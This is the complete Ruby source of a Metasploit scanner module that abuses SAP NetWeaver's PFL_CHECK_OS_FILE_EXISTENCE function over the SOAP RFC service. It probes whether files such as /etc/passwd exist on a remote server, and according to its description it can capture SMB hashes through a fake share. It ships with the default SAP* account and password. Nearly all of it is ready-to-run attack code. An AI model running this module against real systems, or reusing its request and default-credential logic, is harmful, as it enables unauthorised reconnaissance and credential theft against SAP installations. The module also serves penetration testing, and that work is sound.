SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
##  
# This module is based on, inspired by, or is a port of a plugin available in  
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -  
# http://www.onapsis.com/research-free-solutions.php.  
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts  
# in producing the Metasploit modules and was happy to share his knowledge and  
# experience - a very cool guy.  
#  
# The following guys from ERP-SCAN deserve credit for their contributions -  
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and  
# Dmitry Evdokimov.  
#  
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis  
# who have Beta tested the modules and provided excellent feedback. Some people  
# just seem to enjoy hacking SAP :)  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check',  
'Description' => %q{  
This module abuses the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE function, on  
the SAP SOAP RFC Service, to check for files existence on the remote file system.  
The module can also be used to capture SMB hashes by using a fake SMB share as  
FILEPATH.  
},  
'References' =>  
[  
[ 'OSVDB', '78537' ],  
[ 'BID', '51645' ],  
[ 'URL','http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/' ]  
],  
'Author' =>  
[  
'lexey Tyurin', # Vulnerability discovery  
'nmonkee' # Metasploit module  
],  
'License' => MSF_LICENSE  
)  
  
register_options([  
OptString.new('CLIENT', [true, 'SAP Client', '001']),  
OptString.new('HttpUsername', [true, 'Username', 'SAP*']),  
OptString.new('HttpPassword', [true, 'Password', '06071992']),  
OptString.new('FILEPATH',[true,'File Path to check for (e.g. /etc)','/etc/passwd'])  
])  
end  
  
def run_host(ip)  
data = '<?xml version="1.0" encoding="utf-8" ?>'  
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '  
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '  
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'  
data << '<SOAP-ENV:Header/>'  
data << '<SOAP-ENV:Body>'  
data << '<PFL_CHECK_OS_FILE_EXISTENCE xmlns="urn:sap-com:document:sap:rfc:functions">'  
data << '<FULLY_QUALIFIED_FILENAME></FULLY_QUALIFIED_FILENAME>'  
data << '<LONG_FILENAME>' + datastore['FILEPATH'] + '</LONG_FILENAME>'  
data << '</PFL_CHECK_OS_FILE_EXISTENCE>'  
data << '</SOAP-ENV:Body>'  
data << '</SOAP-ENV:Envelope>'  
begin  
vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['FILEPATH']}")  
res = send_request_cgi({  
'uri' => '/sap/bc/soap/rfc',  
'method' => 'POST',  
'data' => data,  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),  
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],  
'ctype' => 'text/xml; charset=UTF-8',  
'headers' => {  
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',  
},  
'vars_get' => {  
'sap-client' => datastore['CLIENT'],  
'sap-language' => 'EN'  
}  
})  
if res and res.code == 200 and res.body =~ /PFL_CHECK_OS_FILE_EXISTENCE\.Response/  
if res.body =~ /<FILE_EXISTS>X<\/FILE_EXISTS>/  
print_good("#{rhost}:#{rport} - File #{datastore['FILEPATH']} exists")  
else  
print_warning("#{rhost}:#{rport} - File #{datastore['FILEPATH']} DOESN'T exist")  
end  
elsif res  
vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)  
vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)  
vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body  
end  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Unable to connect")  
return  
end  
end  
end  
`